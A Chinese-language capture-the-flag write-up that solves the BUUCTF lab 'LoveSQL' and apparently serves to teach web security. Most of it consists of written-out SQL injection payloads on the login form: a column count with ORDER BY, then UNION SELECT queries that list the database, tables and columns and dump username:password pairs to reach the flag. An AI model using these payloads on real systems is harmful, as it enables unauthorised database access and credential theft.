【极客大挑战2019】LoveSQL解题

1、打开靶机：BUUCTF在线评测，选择web---->【极客大挑战2019】LoveSQL

打开被测试站点，是这个样子的，是上一题EasySQL的延续。

2、EasySQL那道题采用万能密码，我们也直接使用万能密码试一下，结果如下：

 直接给出了密码。

使用正确的用户名和密码登录一下，结果还是

 那使用MD5库碰撞一下，结果也没碰撞出来。

3、继续寻常注入吧。

爆破有多少列（字段数）

username=admin&password=6ec1cab790051296b99514856f25f48b' order by 3 %23 //不报错

username=admin&password=6ec1cab790051296b99514856f25f48b' order by 4 %23 //报错

 可知一共有3列。

爆破注入点

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,3 %23

爆破数据库

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,database() %23

爆破表名

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema=database()  %23  

 先爆表geekuser字段名

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(column_name)  from information_schema.columns where table_schema=database() and table_name='geekuser'   %23  

 在爆破表l0ve1ysq1字段

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(column_name)  from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'   %23  

两个表的字段，都是id,username,password

爆表geekuser数据

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(username,0x3a,password)  from geekuser   %23  

 结果不是我们想要的。

继续爆表l0ve1ysq1数据

username=admin&password=-6ec1cab790051296b99514856f25f48b' union select 1,2,group_concat(username,0x3a,password)  from l0ve1ysq1   %23  

 爆出flag。